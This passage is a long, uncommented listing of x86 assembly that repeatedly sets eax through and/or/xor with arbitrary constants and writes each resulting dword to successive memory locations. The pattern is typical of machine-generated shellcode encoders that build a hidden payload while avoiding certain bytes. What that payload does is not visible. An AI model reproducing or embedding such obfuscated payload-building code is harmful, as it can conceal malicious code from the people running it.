and eax, 0xc7408833
or eax, 0xa5204
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1e5d5563
and eax, 0x47088d57
or eax, 0x802088
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2ef29159
and eax, 0x2034d2
or eax, 0x80044200
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x471ed06b
or eax, 0x392142be
and eax, 0xfa114683
or eax, 0x1940
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7cd0b532
and eax, 0x80404000
or eax, 0x400c1000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x31a87374
xor eax, 0x479b3cf6
and eax, 0x24370680
or eax, 0x9000008
mov dword [ebx], eax
add ebx, ecx
or eax, 0x359e243
and eax, 0x901000a
or eax, 0x90000904
mov dword [ebx], eax
add ebx, ecx
or eax, 0x191fd6fe
and eax, 0x81105078
or eax, 0x42402001
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2f67ab25
and eax, 0x3463b254
and eax, 0x4030214
or eax, 0xd0cc2d0b
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x76e73ce
or eax, 0x5925647c
and eax, 0xcb214058
or eax, 0x8000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x18fd5ffb
xor eax, 0x6ec4ec
and eax, 0x91b21906
or eax, 0x24048410
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5c8fe6c5
and eax, 0x5e1537ed
and eax, 0x48003180
or eax, 0x306803e
mov dword [ebx], eax
add ebx, ecx
or eax, 0x56753523
or eax, 0x7e5631e4
and eax, 0x1777a5d3
or eax, 0x80004200
mov dword [ebx], eax
add ebx, ecx
or eax, 0x254efb80
and eax, 0xc6d2288
and eax, 0x4412080
or eax, 0xab109549
mov dword [ebx], eax
add ebx, ecx
or eax, 0x38aac1e4
xor eax, 0x2ed90a14
and eax, 0x8122a741
or eax, 0x2a0c0002
mov dword [ebx], eax
add ebx, ecx
and eax, 0x216b495b
and eax, 0x210a0143
or eax, 0x86109898
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6086cbb5
and eax, 0x286caac
or eax, 0x10202400
mov dword [ebx], eax
add ebx, ecx
or eax, 0x9961adc
xor eax, 0x75e9e44b
and eax, 0x6a4810a2
or eax, 0x81a00048
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3df4d436
and eax, 0x28401020
or eax, 0x860e48c4
mov dword [ebx], eax
add ebx, ecx
or eax, 0x34c34077
and eax, 0x1927b5c
and eax, 0x21000
or eax, 0x53258528
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6c318c9e
and eax, 0x9018936
or eax, 0x84001
mov dword [ebx], eax
add ebx, ecx
and eax, 0x34059333
and eax, 0x18022
or eax, 0xbffe68c0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1361be4b
or eax, 0x28c0cb81
and eax, 0x884a9629
or eax, 0x2000010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4fd62a77
and eax, 0x6edc534a
and eax, 0x44900002
or eax, 0x9404890
mov dword [ebx], eax
add ebx, ecx
or eax, 0x31894266
and eax, 0x75990236
or eax, 0x2042408
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6de2c14b
and eax, 0x220630
or eax, 0xc5800802
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2c2eb164
and eax, 0x8c008436
or eax, 0x12110080
mov dword [ebx], eax
add ebx, ecx
or eax, 0x70c8e9bf
and eax, 0x76441fa1
and eax, 0x34000400
or eax, 0x891fc240
mov dword [ebx], eax
add ebx, ecx
and eax, 0x59422d34
and eax, 0x18000000
or eax, 0x646810ef
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x143fd9af
and eax, 0x48530840
or eax, 0x90081212
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x58ecc776
or eax, 0x4bdc48a
and eax, 0x8015812a
or eax, 0x72000201
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x38c168cb
and eax, 0x5f478039
and eax, 0xa000020
or eax, 0xb19a1a46
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1d36dd78
and eax, 0x7709dfeb
and eax, 0x25008028
or eax, 0x88612084
mov dword [ebx], eax
add ebx, ecx
or eax, 0x713daec8
and eax, 0x69698648
or eax, 0x800002
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6d3dfde3
and eax, 0x5bce7207
and eax, 0x41080002
or eax, 0xb276d6e0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x14351cb6
and eax, 0x24174256
or eax, 0x8002101
mov dword [ebx], eax
add ebx, ecx
or eax, 0x87dd852
and eax, 0x28463256
or eax, 0x830004a0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7c00d9ef
or eax, 0x6d39147c
and eax, 0x69380046
or eax, 0x92460a01
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xb35a554
xor eax, 0x10dc0b15
and eax, 0x8093a006
or eax, 0xb005b61
mov dword [ebx], eax
add ebx, ecx
or eax, 0x50ca805f
and eax, 0x54a3f701
and eax, 0x10023201
or eax, 0xe74048e
mov dword [ebx], eax
add ebx, ecx
or eax, 0x53a8dc2f
and eax, 0x15bde4ee
and eax, 0x130a020
or eax, 0x80430910
mov dword [ebx], eax
add ebx, ecx
or eax, 0x73123d19
or eax, 0xbddb634
and eax, 0x79258715
or eax, 0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x38399989
and eax, 0x68db9a85
and eax, 0x40081200
or eax, 0x26e3642a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2dde25b5
and eax, 0x44b682c6
and eax, 0x4a40002
or eax, 0x20404541
mov dword [ebx], eax
add ebx, ecx
and eax, 0x293f894d
and eax, 0x200000
or eax, 0x840aea30
mov dword [ebx], eax
add ebx, ecx
and eax, 0xe5727f6
and eax, 0x2020
or eax, 0x31611040
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x37aefb32
and eax, 0xc44040
or eax, 0x80002484
mov dword [ebx], eax
add ebx, ecx
and eax, 0x70fd808
and eax, 0x40000
or eax, 0x6d29953c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3f7a5f5
and eax, 0x464a1009
or eax, 0x90004220
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2acfb4bc
and eax, 0x20a1028
or eax, 0x7925e7c6
mov dword [ebx], eax
add ebx, ecx
and eax, 0x799b9cf8
or eax, 0x45385acf
and eax, 0x7d2058cb
or eax, 0x80400000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x284ac87d
and eax, 0x57a6bad9
and eax, 0x41
or eax, 0xded56514
mov dword [ebx], eax
add ebx, ecx
and eax, 0xe0b85c7
and eax, 0x4000440
or eax, 0x317a523a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x62164ca8
or eax, 0x5ab42ce7
and eax, 0x181c5499
or eax, 0x18100
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6becd031
and eax, 0x42600088
or eax, 0x80a4a42
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4ad793d3
and eax, 0x57fe587b
and eax, 0x284818
or eax, 0x1b412246
mov dword [ebx], eax
add ebx, ecx
or eax, 0x63dfa381
or eax, 0x48baf75e
and eax, 0x323a8e9a
or eax, 0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x515b5608
and eax, 0x10120400
or eax, 0x685e1a2
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4a5a7a5
and eax, 0x1616e206
or eax, 0xc8000018
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2d7c7a00
xor eax, 0x7d4269a
and eax, 0x2000418
or eax, 0xc43a1921
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1c76cb81
or eax, 0x490f8a2
and eax, 0xca1a4632
or eax, 0x20000000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x569f7dfd
and eax, 0x42d274b8
and eax, 0x803008
or eax, 0x41530e16
mov dword [ebx], eax
add ebx, ecx
and eax, 0x470c8edd
and eax, 0x40000210
or eax, 0xae56a042
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5fc510d4
or eax, 0x1e62be56
and eax, 0x1c46aa46
or eax, 0x21080008
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3892fce9
or eax, 0x39988177
and eax, 0x9c8c5b6
or eax, 0x42022008
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x29b3483f
and eax, 0x3a2acea1
and eax, 0x20008401
or eax, 0xd43336e
mov dword [ebx], eax
add ebx, ecx
or eax, 0x49127745
and eax, 0x2852734e
or eax, 0x82200880
mov dword [ebx], eax
add ebx, ecx
and eax, 0x500aaaca
or eax, 0x54a5c78f
and eax, 0x40020007
or eax, 0xa3080030
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2d4defc6
and eax, 0x2bd0d72e
and eax, 0xa40c500
or eax, 0x74042803
mov dword [ebx], eax
add ebx, ecx
and eax, 0x47b22daf
and eax, 0x2df9235a
and eax, 0x2002
or eax, 0x2aea0a70
mov dword [ebx], eax
add ebx, ecx
and eax, 0x665c318c
and eax, 0x53c9c15d
and eax, 0x2080000
or eax, 0xfd834d16
mov dword [ebx], eax
add ebx, ecx
or eax, 0x34adcbde
and eax, 0xe8244604
or eax, 0x1020
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4a47432e
and eax, 0x48000020
or eax, 0x904a2189
mov dword [ebx], eax
add ebx, ecx
or eax, 0x26d3be12
and eax, 0xd4d12a8a
or eax, 0x200044
mov dword [ebx], eax
add ebx, ecx
or eax, 0x212166a6
xor eax, 0x343b42ef
and eax, 0x41880801
or eax, 0x10158148
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x38acfbf7
and eax, 0x911500a
or eax, 0x2440001
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2f7d7d5
or eax, 0x397c9326
and eax, 0x210c014a
or eax, 0x44002800
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x702c54f1
xor eax, 0x3ee28e45
and eax, 0x2002702e
or eax, 0xc40d0401
mov dword [ebx], eax
add ebx, ecx
or eax, 0x31d22fc6
and eax, 0xa4564cc3
or eax, 0xa208010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3987dd95
and eax, 0x1511044
or eax, 0x400a2238
mov dword [ebx], eax
add ebx, ecx
and eax, 0x515cf768
and eax, 0x41401068
or eax, 0x80818d85
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x75620223
and eax, 0x108393c2
or eax, 0x404c2011
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7d6a413f
and eax, 0x39cf5132
or eax, 0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1446719c
and eax, 0x10465110
or eax, 0x62a1a0e6
mov dword [ebx], eax
add ebx, ecx
and eax, 0x34c742e7
and eax, 0x304600e2
or eax, 0x8a183810
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5b8732fd
xor eax, 0x4350e6a1
and eax, 0x80844c50
or eax, 0x4100000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x81c8713
xor eax, 0x741015eb
and eax, 0x78000ab8
or eax, 0x2420440
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xd7c2e1a
or eax, 0x5733989f
and eax, 0x2028a0d1
or eax, 0x80800300
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6cd704b9
and eax, 0xe8eea1a9
or eax, 0x1001800
mov dword [ebx], eax
add ebx, ecx
or eax, 0x12f87f5a
and eax, 0x6a728972
or eax, 0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x74c1b6d0
and eax, 0x78913337
and eax, 0
or eax, 0xacca12a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x753b0e94
and eax, 0
or eax, 0x91e0838e
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x708ec29b
and eax, 0xa1604115
or eax, 0x1210aa4a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5e2239c7
and eax, 0x65409098
or eax, 0x10a40521
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1e36503e
and eax, 0x2a024002
or eax, 0x942c1060
mov dword [ebx], eax
add ebx, ecx
or eax, 0x50cbb0ae
xor eax, 0x7cd69ac8
and eax, 0x200220
or eax, 0x4d861099
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7631c09
or eax, 0x6ebf746a
and eax, 0x4a024ec0
or eax, 0x90000104
mov dword [ebx], eax
add ebx, ecx
or eax, 0x92e1359
and eax, 0x9a220250
or eax, 0x4012020
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3ca0daeb
and eax, 0x187b0e69
and eax, 0x20001
or eax, 0xa9f4b752
mov dword [ebx], eax
add ebx, ecx
or eax, 0xb035a6
xor eax, 0x61f259b0
and eax, 0xc8004400
or eax, 0x223301a8
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4bcdb6da
and eax, 0xe3aee5c0
or eax, 0x804
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5006454c
and eax, 0x40024100
or eax, 0x92b01013
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x38ff4e3
or eax, 0x408503a6
and eax, 0x11058180
or eax, 0x6401809
mov dword [ebx], eax
add ebx, ecx
or eax, 0x729c1f80
and eax, 0x17850980
or eax, 0x22000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5bb34a52
and eax, 0x9c7e015
and eax, 0x800000
or eax, 0xa278620a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x68180e2a
or eax, 0x6a1a383e
and eax, 0xeac8102e
or eax, 0x14018380
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4934e18c
and eax, 0x24796d2f
and eax, 0x20304024
or eax, 0x91848cd1
mov dword [ebx], eax
add ebx, ecx
or eax, 0x31d33b19
and eax, 0xd293a98
and eax, 0x1011010
or eax, 0x66884567
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x35e93f68
xor eax, 0x45b901b0
and eax, 0x3884b8f
or eax, 0x20029040
mov dword [ebx], eax
add ebx, ecx
or eax, 0x48535554
or eax, 0x1798cc2a
and eax, 0x77dbd733
or eax, 0x40000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x13c68b15
and eax, 0x2ad43c0f
and eax, 0x2c40001
or eax, 0x552016ce
mov dword [ebx], eax
add ebx, ecx
or eax, 0x26ac461
and eax, 0x4880085
or eax, 0x88102110
mov dword [ebx], eax
add ebx, ecx
and eax, 0xe0f6b78
xor eax, 0xce8cb95
and eax, 0x602881
or eax, 0x3e091148
mov dword [ebx], eax
add ebx, ecx
or eax, 0x30716345
xor eax, 0x4b8379a
and eax, 0x10c14c03
or eax, 0x810cb300
mov dword [ebx], eax
add ebx, ecx
or eax, 0x705910cc
and eax, 0x58ed4462
and eax, 0x40cc0000
or eax, 0xb10b011
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6bcf141e
and eax, 0xa801000
or eax, 0x94004cc0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x68ae4927
and eax, 0x5841041d
and eax, 0x405
or eax, 0x6cac100
mov dword [ebx], eax
add ebx, ecx
or eax, 0x21c7ccac
and eax, 0x44b45a0
or eax, 0x48200252
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6de4964a
and eax, 0x2da194fa
or eax, 0x90100001
mov dword [ebx], eax
add ebx, ecx
and eax, 0x15e0b435
xor eax, 0x36056722
and eax, 0x284a212
or eax, 0x100a08a0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3c4073a5
xor eax, 0x22747a11
and eax, 0x42800a2
or eax, 0x63040a18
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6d1ac338
and eax, 0x40348098
or eax, 0x803000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x601439f4
xor eax, 0x6f44829c
and eax, 0x5240b50
or eax, 0x1010640f
mov dword [ebx], eax
add ebx, ecx
and eax, 0x31aae77
xor eax, 0x780608f2
and eax, 0x80402a1
or eax, 0x84e00850
mov dword [ebx], eax
add ebx, ecx
and eax, 0xe142238
xor eax, 0x25dd02b4
and eax, 0x21400000
or eax, 0x42269373
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5b6ec7e0
and eax, 0x40640000
or eax, 0x20114408
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1ef1503e
xor eax, 0x2bac7530
and eax, 0x8cc0128
or eax, 0x4400c203
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3d070d29
xor eax, 0x1662f8a8
and eax, 0x18642981
or eax, 0xa591067e
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x50cca33b
and eax, 0x25298800
or eax, 0x2001239
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3f98864
and eax, 0x24211079
or eax, 0x88042482
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1dc2bbd9
and eax, 0x91c58000
or eax, 0x44107005
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4a33c322
xor eax, 0x405fc392
and eax, 0x4e0290
or eax, 0x9f30e441
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7e9d2e1e
or eax, 0x13d51b81
and eax, 0x1212d8c2
or eax, 0x8002010
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5653cfd8
and eax, 0x28800
or eax, 0xa8442229
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3c881400
and eax, 0x94408400
or eax, 0x62004046
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5ff5c01e
or eax, 0x5fc44e87
and eax, 0x9b9144c9
or eax, 0xa1020
mov dword [ebx], eax
add ebx, ecx
and eax, 0x14166d08
and eax, 0x10100408
or eax, 0x8aa19be5
mov dword [ebx], eax
add ebx, ecx
and eax, 0x720f452e
and eax, 0x10000020
or eax, 0x80749a91
mov dword [ebx], eax
add ebx, ecx
or eax, 0x43923f5a
or eax, 0x41ee085a
and eax, 0x936e2b6b
or eax, 0x4014000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x606ce4ad
xor eax, 0x1e44f014
and eax, 0x9051440
or eax, 0x208802c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4957207
or eax, 0x60f08be9
and eax, 0x2848420a
or eax, 0x80001014
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3fc7ec33
xor eax, 0x49731ebf
and eax, 0x582c8000
or eax, 0x24121
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5ce0c88
and eax, 0x40000
or eax, 0x32706552
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7e5ca1f9
xor eax, 0xf15d318
and eax, 0x60010221
or eax, 0x8c960018
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x200259e
and eax, 0x13f6aa23
and eax, 0x2962003
or eax, 0xdc49959c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x723e6a8
and eax, 0x4020008
or eax, 0x9b00835
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x68938fac
and eax, 0x40008380
or eax, 0x925e5006
mov dword [ebx], eax
add ebx, ecx
or eax, 0x40c8de1a
or eax, 0x1c9afc11
and eax, 0xc025297
or eax, 0x10040
mov dword [ebx], eax
add ebx, ecx
or eax, 0x76e83c92
and eax, 0x14426a07
or eax, 0x140008
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3e1fb802
and eax, 0x418ba06
or eax, 0x200010
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7333672b
xor eax, 0x6991ac30
and eax, 0x41008a22
or eax, 0x90127085
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4fa4c056
and eax, 0x2f1724e
and eax, 6
or eax, 0xf71ca548
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1b4dabc0
and eax, 0x4f4b0c4c
and eax, 0x8410800
or eax, 0x3a26172
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3f11deb2
xor eax, 0x5515f047
and eax, 0x264082
or eax, 0x2181838
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3ea9cb66
and eax, 0x1a108820
or eax, 0x81402001
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1ccdb617
and eax, 0x8dd18827
or eax, 0x40224088
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3d4bac0
and eax, 0x8ec54a62
or eax, 0x100
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3d4a7bcd
or eax, 0x36544dc
and eax, 0xa1e110ca
or eax, 0x44100200
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x375073b4
and eax, 0x4201205c
or eax, 0x81a9a81
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x69940412
and eax, 0x21020488
or eax, 0x94404010
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4366930
and eax, 0x81642428
or eax, 0x42810244
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4039d59d
or eax, 0x5b03468f
and eax, 0xcb4265f0
or eax, 0x20000000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2e27041e
and eax, 0x162dc11f
and eax, 0x2000010
or eax, 0xc87ac547
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1b57df82
and eax, 0x2524500
or eax, 0x55051835
mov dword [ebx], eax
add ebx, ecx
and eax, 0x19345cda
and eax, 0x78c41343
and eax, 0x1000
or eax, 0xe50186a0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6ecd6715
and eax, 0xcac13430
or eax, 0x10020040
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6d5860f3
and eax, 0x8d5904f2
or eax, 0x20820c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3492ce12
and eax, 0x8610
or eax, 0xf8a6708c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3a5d6490
and eax, 0x1a49a004
or eax, 0x5000920
mov dword [ebx], eax
add ebx, ecx
and eax, 0x11d688fb
xor eax, 0x7796e97f
and eax, 0x24422001
or eax, 0x19208e80
mov dword [ebx], eax
add ebx, ecx
or eax, 0xaf969f3
and eax, 0x21cab7e2
and eax, 0x1022740
or eax, 0x9e250015
mov dword [ebx], eax
add ebx, ecx
or eax, 0x55bff5ad
and eax, 0x908da6c8
or eax, 2
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2d77832
and eax, 0x24a1008
or eax, 0x25050107
mov dword [ebx], eax
add ebx, ecx
or eax, 0x71680bd1
and eax, 0x606011cd
or eax, 0x80002020
mov dword [ebx], eax
add ebx, ecx
and eax, 0x64d265b9
and eax, 0xd2e8c0a
and eax, 0
or eax, 0xc41c1000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7584352e
or eax, 0x5fbe14b6
and eax, 0x45b40092
or eax, 0x418040
mov dword [ebx], eax
add ebx, ecx
and eax, 0x429b76b2
and eax, 2
or eax, 0x1a0c134d
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3db322ca
or eax, 0x3f47f03e
and eax, 0x374d507b
or eax, 0x40000000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x518f8262
or eax, 0x16d21ec4
and eax, 0x36411088
or eax, 0x202000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5446c1cf
and eax, 0x62020001
or eax, 0x84000b8
mov dword [ebx], eax
add ebx, ecx
or eax, 0x159d0faf
and eax, 0x6803058a
or eax, 0x8020c040
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x755328a0
and eax, 0x1d10a56a
or eax, 0x42870090
mov dword [ebx], eax
add ebx, ecx
or eax, 0x33d7fb61
and eax, 0x23c66370
or eax, 0x80280000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x559c78bf
and eax, 0x1006030
or eax, 0xfe720543
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1e4ae99c
and eax, 0xa700a0b2
or eax, 0x810000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x785d534e
and eax, 0x5972bdcd
and eax, 0
or eax, 0x9423d337
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4d675244
and eax, 0x11040072
or eax, 0x24985800
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5ee52bbe
xor eax, 0x198aa981
and eax, 0x201b1
or eax, 0x42b00e00
mov dword [ebx], eax
add ebx, ecx
or eax, 0x999c5ae
and eax, 0xb900c02
or eax, 0x14441000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x179f8d03
and eax, 0x8499101
or eax, 0x97200c9a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x76cdfd
and eax, 0x608111
or eax, 0x22820066
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5a005f2e
and eax, 0x8609409
or eax, 0x831d01a0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x40d08dff
and eax, 0x48880846
or eax, 0x344067a8
mov dword [ebx], eax
add ebx, ecx
and eax, 0x14ef1ca1
or eax, 0x33c13077
and eax, 0x25c03c92
or eax, 0x4020c200
mov dword [ebx], eax
add ebx, ecx
and eax, 0xab97ea7
or eax, 0x2d653e4a
and eax, 0x9a17280
or eax, 0xd0028021
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2e4e2b58
and eax, 0x36642009
or eax, 0x100400
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1bdf93f4
and eax, 0x100000
or eax, 0x44885815
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x69df6988
and eax, 0x28c5fc41
and eax, 0x28440000
or eax, 0xd09a0d84
mov dword [ebx], eax
add ebx, ecx
and eax, 0x690e9a90
and eax, 0x200c0800
or eax, 0x13905441
mov dword [ebx], eax
add ebx, ecx
or eax, 0x559fb698
xor eax, 0x11668d14
and eax, 0x663023c5
or eax, 0x88020432
mov dword [ebx], eax
add ebx, ecx
or eax, 0x370ed30c
and eax, 0x22eaa0eb
and eax, 0x220aa0e3
or eax, 0x18110514
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4888b2f1
and eax, 0x2091
or eax, 0x17d61b06
mov dword [ebx], eax
add ebx, ecx
and eax, 0x25f1e146
and eax, 0x4b187cd3
and eax, 0x1002002
or eax, 0x1e8842b5
mov dword [ebx], eax
add ebx, ecx
and eax, 0x63af4d0a
and eax, 0x884002
or eax, 0x604784a5
mov dword [ebx], eax
add ebx, ecx
and eax, 0x275c2137
xor eax, 0x315c09cd
and eax, 0x101008c8
or eax, 0xe4cbf410
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1182e139
and eax, 0x4418b050
or eax, 0xa040004
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7cffbba3
xor eax, 0x6daaa8cb
and eax, 0x21a610c8
or eax, 0xd208a620
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7283b696
xor eax, 0x69af3108
and eax, 0x28022100
or eax, 0x161ca00
mov dword [ebx], eax
add ebx, ecx
or eax, 0x751a10ba
and eax, 0x7e2d6f72
and eax, 0x34296a00
or eax, 0x83c0948c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3261838e
or eax, 0x2d492c17
and eax, 0x3000a003
or eax, 0xc0945000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x78c87861
or eax, 0x6ac2f086
and eax, 0xa05680e6
or eax, 0x15010501
mov dword [ebx], eax
add ebx, ecx
or eax, 0x48d6d70a
xor eax, 0x7ba3fd78
and eax, 0x2300a96
or eax, 0x5002d148
mov dword [ebx], eax
add ebx, ecx
or eax, 0x564d7f88
or eax, 0x48f61751
and eax, 0x4ce13555
or eax, 0xa0000000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x20cb27cc
or eax, 0x7e72d675
and eax, 0x1070861c
or eax, 0x1010802
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5631d14a
and eax, 0x1020000a
or eax, 0x2e4c7be4
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5c16441
and eax, 0x54f8ae2e
and eax, 0x80a2c
or eax, 0x2916d0d1
mov dword [ebx], eax
add ebx, ecx
and eax, 0x170b79e0
and eax, 0x6b6e8e97
and eax, 0x800
or eax, 0x4a0020e
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7d7acd8e
and eax, 0x38588000
or eax, 0x2202855
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2509af37
or eax, 0xd0ea9b6
and eax, 0x214ca046
or eax, 0xc0000000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2ba9475b
and eax, 0x1080000
or eax, 0xce03b4b1
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6f33dd68
or eax, 0x5ef2a094
and eax, 0xb27ae194
or eax, 0x1051222
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1fd55b28
and eax, 0x7d30908
or eax, 1
mov dword [ebx], eax
add ebx, ecx
or eax, 0x437c4b27
and eax, 0x7a7030a
or eax, 0x30000480
mov dword [ebx], eax
add ebx, ecx
or eax, 0x18008cdd
and eax, 0x10a60314
or eax, 0x40003000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7f8c12
and eax, 0x47e8d566
and eax, 0xe01000
or eax, 0x6104080
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2a1407a6
xor eax, 0x3b6ab6b4
and eax, 0x110a3624
or eax, 0x848408c0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1b582e01
or eax, 0x630b1f41
and eax, 0xca061d01
or eax, 0x200000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6e8fbd19
and eax, 0x3753a1de
and eax, 0x24010100
or eax, 0xd87c1287
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x17bb63eb
xor eax, 0x72c721f
and eax, 0xcc20040
or eax, 0x1200c908
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3d983fd1
and eax, 0x13000a80
or eax, 0x80250002
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x26cad00c
xor eax, 0x5928e623
and eax, 0x44c51c2d
or eax, 0x1210c002
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6f784d92
and eax, 0x46104002
or eax, 0x888da141
mov dword [ebx], eax
